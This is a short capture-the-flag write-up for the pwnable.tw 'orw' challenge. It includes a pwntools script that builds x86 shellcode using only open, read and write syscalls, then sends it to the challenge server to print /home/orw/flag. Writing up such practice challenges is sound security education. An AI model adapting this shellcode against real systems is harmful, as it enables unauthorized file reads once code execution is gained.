pwnable.tw
[pwnable.tw] orw writeup
st4rbuucks
2018. 10. 11. 14:37
Challenge
Solving
running binary :
and part of main disassembly :
Binary reads our payload and store it at the address 0x8048370, then it runs the code there.
As the problem description says, maybe we should make a shellcode only with open, read, write syscall.
Here is my python script
#!/usr/bin/env python # pwnable.tw orw from pwn import * debug = 0 def exploit(): shellcode = '' shellcode += asm('mov eax, 0x5') # syscall : open shellcode += asm('mov ebx, 0x804a09c') # filename shellcode += asm('mov ecx, 0x0') # flags shellcode += asm('mov edx, 0x804a0ab') # mode shellcode += asm('int 0x80') shellcode += asm('mov ebx, eax') # fd shellcode += asm('mov eax, 0x3') # syscall : read shellcode += asm('mov ecx, 0x804a100') # buf shellcode += asm('mov edx, 0x64') # count shellcode += asm('int 0x80') shellcode += asm('mov edx, eax') # count shellcode += asm('mov eax, 0x4') # syscall : write shellcode += asm('mov ebx, 0x1') # fd shellcode += asm('mov ecx, 0x804a100') # buf shellcode += asm('int 0x80') shellcode += '/home/orw/flag\x00' shellcode += 'r\x00' s.send(shellcode) if __name__ == '__main__': if debug: s = process('./orw') pause() else: s = remote('chall.pwnable.tw', 10001) exploit() s.interactive() s.close()